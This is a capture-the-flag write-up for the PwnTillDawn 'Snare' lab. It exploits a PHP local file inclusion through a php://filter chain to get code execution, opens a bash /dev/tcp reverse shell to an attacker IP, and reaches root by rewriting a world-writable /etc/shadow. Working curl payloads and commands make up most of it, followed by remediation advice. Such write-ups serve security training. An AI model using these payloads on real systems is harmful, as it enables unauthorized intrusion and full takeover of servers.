4 min read

PwnTillDawn Snare (10.150.150.18) Writeup — LFI to PHP Filter Chain RCE

PwnTillDawn Snare (10.150.150.18) Writeup — LFI to PHP Filter Chain RCE
📚 Series · PwnTillDawn Machines
  1. ▸ Snare (10.150.150.18) (this post)
  2. Portal (10.150.150.12)
  3. ElMariachi-PC (10.150.150.69)
Platform: PwnTillDawn Online Battlefield by wizlynx group
Difficulty: Easy
Operating System: Linux (Ubuntu 20.04)

0x00 Recon

Port Scan

I used RustScan for a fast scan across all ports, then chained into nmap for a detailed scan:

rustscan -a 10.150.150.18 -b 1000 -- -sC -sV

Only two ports were open:

Port Service Version
22 SSH OpenSSH 8.2p1 Ubuntu
80 HTTP Apache 2.4.41 (Ubuntu)

The nmap NSE script picked up an HTTP title with a redirect:

http-title: Welcome to my homepage!
Requested resource was /index.php?page=home

The index.php?page=home URL pattern is highly suspicious — the page parameter very likely harbors a Local File Inclusion (LFI) vulnerability.

0x01 Web Enumeration

Directory Scan

feroxbuster -u http://10.150.150.18/index.php?page= -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5

Found some key paths:

  • /includes/ — directory listing enabled
  • /includes/a_config.php — responds with 0 bytes (PHP logic but no HTML output)
  • /includes/navigation.php, footer.php, head-tag-contents.php and other template files

0x02 Confirming LFI and Leaking Source Code

Basic LFI Test

Let's try path traversal to read /etc/passwd directly:

curl "http://10.150.150.18/index.php?page=../../../etc/passwd"

No luck — the page responds normally but with no file contents.

Reading Source Code with PHP Filters

Using the php://filter wrapper to base64-encode the PHP source and dump it out:

curl "http://10.150.150.18/index.php?page=php://filter/convert.base64-encode/resource=index"

Success! Decoding it gives us the source of index.php:

<?php include("includes/a_config.php");?>
<!DOCTYPE html>
<html>
<head>
    <?php include("includes/head-tag-contents.php");?>
</head>
<body>
<?php include("includes/design-top.php");?>
<?php include("includes/navigation.php");?>

<div class="container" id="main-content">
<?php
if (empty($_GET)) {
    header('Location: /index.php?page=home');
}
else {
    $page = $_GET['page'];
    include ($page. '.php');
}
?>
</div>
<?php include("includes/footer.php");?>
</body>
</html>

The critical finding:

$page = $_GET['page'];
include ($page. '.php');

The user-supplied page parameter is completely unfiltered — it's concatenated with a .php suffix and passed straight into include(). That's exactly why reading /etc/passwd directly failed: what actually gets included is /etc/passwd.php.

0x03 PHP Filter Chain RCE

Why the Classic Tricks Fail

  • Path traversal + /etc/passwd: the .php suffix makes the path non-existent
  • data:// wrapper: requires allow_url_include=On (Off by default)
  • pearcmd.php trick: PEAR isn't installed on the target

PHP Filter Chain Generator

In 2022, Synacktiv published a groundbreaking technique: by chaining a huge number of PHP iconv filters, you can conjure arbitrary PHP code "out of thin air" from php://temp (an empty resource). This technique:

  • Does not require allow_url_include
  • Does not require any specific file to exist on the server
  • Is unaffected by the .php suffix (since the resource is php://temp)

Use php_filter_chain_generator to build the payload:

git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

The tool spits out an extremely long php://filter/... chain. Feed it in as the value of the page parameter and tack on &c=id to test:

curl --globoff -o - "http://10.150.150.18/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...<snip>...|convert.base64-decode/resource=php://temp&c=id" 2>/dev/null

And the response contains:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE achieved!

0x04 Reverse Shell

Fire up a listener on the attacking machine (Windows PowerShell):

ncat -lvnp 4444

Send a reverse shell through the PHP Filter Chain RCE (needs to be URL-encoded):

curl --globoff -s -o /dev/null "http://10.150.150.18/index.php?page=<FILTER_CHAIN>&c=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%27"

And we catch the shell:

www-data@snare:/var/www/html$

0x05 FLAG1

www-data@snare:/$ ls /home/
snare

www-data@snare:/$ cat /home/snare/FLAG1.txt
Redacted

FLAG1: Redacted

0x06 Privilege Escalation to Root

Enumeration

www-data@snare:/$ ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1129 Nov 20  2020 /etc/shadow

/etc/shadow has 777 permissions — every user can read and write it! This is a serious file permission misconfiguration.

Overwriting the Root Password

Generate a new password hash:

openssl passwd -6 -salt xyz hacked123
# $6$xyz$83/UloSNcxbQq8O5DCPtPfZp...

Since sed -i needs to create a temp file in /etc/ (and www-data has no write access to that directory), I switched to cp with a detour through /tmp/:

cp /etc/shadow /tmp/shadow.bak

sed 's|^root:[^:]*|root:$6$xyz$83/UloSNcxbQq8O5DCPtPfZp.37csnrtPIYRGAZaLwzNy/thRXazOTqB21HCfGVkBJxB.Nm/JLV8UdIw0KGOB.|' /tmp/shadow.bak > /tmp/shadow.new

cp /tmp/shadow.new /etc/shadow

su root
# password: hacked123
root@snare:~# whoami
root

FLAG2

root@snare:~# cat /root/FLAG2.txt
Redacted

FLAG2: Redacted

0x07 Attack Chain Summary

Web recon → LFI (index.php?page=)
    → PHP Filter source code leak
    → PHP Filter Chain RCE (Synacktiv)
    → Reverse Shell (www-data)
    → /etc/shadow writable at 777
    → Overwrite root password
    → Root!

Vulnerability List

# Vulnerability Severity Description
1 Local File Inclusion High include($_GET['page'] . '.php') with no filtering
2 PHP Filter Chain RCE Critical RCE achieved from LFI via an iconv filter chain
3 /etc/shadow permission error Critical 777 permissions let any user read and write it

Remediation Recommendations

  1. LFI: validate the page parameter against a whitelist, e.g. in_array($page, ['home', 'about', 'contact'])
  2. PHP Filter Chain: disable unnecessary PHP wrappers (php://filter), or restrict the available stream wrappers in php.ini
  3. File permissions: /etc/shadow should be set to 640 (-rw-r-----), readable only by root and the shadow group

Lessons Learned

0x06:

This step actually took a lot of trial and error. I even found that /etc/shadow was readable and tried cracking the password locally, but that failed — then it turned out I could "write" to it after all, so I went with the password-replacement route instead.